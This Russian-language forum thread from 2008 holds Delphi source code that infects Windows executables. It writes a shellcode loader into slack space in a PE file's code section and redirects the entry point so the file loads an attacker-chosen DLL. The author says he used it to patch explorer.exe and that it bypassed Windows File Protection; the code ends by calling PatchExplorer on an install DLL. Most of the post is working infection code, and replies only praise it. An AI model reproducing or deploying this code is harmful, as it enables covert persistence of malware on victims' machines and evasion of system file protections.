Внедрение Dll в Прогу

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by slesh, 27 Aug 2008.

  1. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Частенько встречался в инете с вопросами типа как заставить какоелибо приложение подгружать определенную DLL. КОнечно можно инжектить постоянно, но иногда этот способ неочень подходит.
    Вот решил выложить свой исходник который выполняет эти действия.
    Алгоритм работы просто:
    1. открывается файл.
    2. в прогу вписывается лоадер, который подгружает данную библиотеку.
    3. перебивается адрес точки входа на адрес лоадера.
    После отработки лоадера, он передаёт управления на первоначальную точку входа.
    P.S. данный код был предназначен для конкретного случая, по этому может не работать на других прогах или вообще испортить их. Всё дело в том, что в моём случае код внедрялся в пустое пространство первой секции, которая в моём случае была секцие кода с правами на выполнение.
    Переписать для универсальности несоставит труда.

    Code:
    var
     data: array[0..92] of byte = (
    	$68, $44, $33, $22, $11, $60, $9C, $E8, $00, $00, $00, $00, $5D, $83, $ED, $0C,
    	$83, $C5, $5D, $64, $A1, $30, $00, $00, $00, $8B, $40, $0C, $8B, $70, $1C, $AD,
    	$8B, $40, $08, $55, $89, $C3, $03, $40, $3C, $8B, $50, $78, $01, $DA, $8B, $4A,
    	$18, $8B, $7A, $20, $01, $DF, $89, $DE, $03, $74, $8F, $FC, $81, $7E, $08, $61,
    	$72, $79, $41, $75, $08, $81, $3E, $4C, $6F, $61, $64, $74, $06, $E2, $E7, $31,
    	$C0, $EB, $05, $93, $03, $44, $8A, $24, $FF, $D0, $9D, $61, $C3);
    
    procedure CopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
    begin
      Move(Source^, Destination^, Length);
    end;
    
    Procedure SetDword(buf:pointer; offs:dword; d:dword);assembler;
    asm
     mov [eax+edx],ecx
    end;
    
    
    procedure Patch(dllname:string; filename:string);
    type
    TSectionTable=record // структура таблица секции
      Object_Name:array[1..8] of char;
      Virtual_Size:dword;
      Section_RVA:dword;
      Physical_Size:dword;
      Physical_Offset:dword;
      Reserved:array[1..12] of byte;
      Object_Flags:dword;
     end;
    PSectionTable=^TSectionTable;
    TARRAY=array[0..255] of byte;
    PARRAY=^TARRAY;
    var
     h:thandle;
     PE,EP,IB:dword; // PE Head / Entry Point / Image Base
     buf:PARRAY;
     x:integer;
     correct:boolean;
     PID:dword;
     d:dword;
     hMapping:dword;
     mapping:pointer;
     Sect:PSectionTable;
     windir:TARRAY;
    begin
     dllname:=dllname+#0;
      h:=CreateFile(pansichar(filename), DWORD($80000000) or $40000000, $00000001 or $00000002, nil, 3, $00000080, 0);
     d:=GetFileSize(h, nil);
     hMapping:=CreateFileMapping(h, nil, 4, 0, d, nil);
     mapping:=MapViewOfFile(hMapping, 4 or 2, 0, 0, d);
     PE:=dword(pointer(dword(mapping)+$3C)^);
     EP:=dword(pointer(dword(mapping)+PE+$28)^);
     IB:=dword(pointer(dword(mapping)+PE+$34)^);
     SetDword(@data[0],1,EP+IB);
     Sect:=pointer(dword(mapping)+PE+248);
     buf:=pointer(dword(mapping)+Sect^.Physical_Offset+Sect^.Physical_Size-sizeof(data)-dword(length(dllname)));
     correct:=true;
     for x:=0 to sizeof(data)+length(dllname)-1 do if buf^[x]<>0 then correct:=false;
      if correct then
       begin
        EP:=Sect^.Section_RVA+Sect^.Physical_Size-sizeof(data)-dword(length(dllname));
        dword(pointer(dword(mapping)+PE+$28)^):=EP;
        CopyMemory(pointer(dword(mapping)+Sect^.Physical_Offset+Sect^.Physical_Size-sizeof(data)-dword(length(dllname))),@data,sizeof(data));
        CopyMemory(pointer(dword(mapping)+Sect^.Physical_Offset+Sect^.Physical_Size-dword(length(dllname))),@dllname[1],length(dllname));
       end else exit;
     UnmapViewOfFile(mapping);
     CloseHandle(hMapping);
     CloseHandle(h);
    end;
    
    begin
     if API_LOADED then PatchExplorer(install_dll_name);
    end.
    
    
     
    5 people like this.
  2. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    P.P.S с моём случае я патчил explorer.exe но предке прибивал процес.
    использование CreateFileMapping позволило непонятно почему обойти WFP
     
  3. Fruit

    Fruit Elder - Старейшина

    Joined:
    16 Jul 2008
    Messages:
    90
    Likes Received:
    22
    Reputations:
    1
    А неплохо так! Спасибо! :)
     
  4. Zabuldon

    Zabuldon Elder - Старейшина

    Joined:
    6 Apr 2008
    Messages:
    99
    Likes Received:
    6
    Reputations:
    0
    Спасибо за инфу!!! Хороший вариант!

    +5 лови!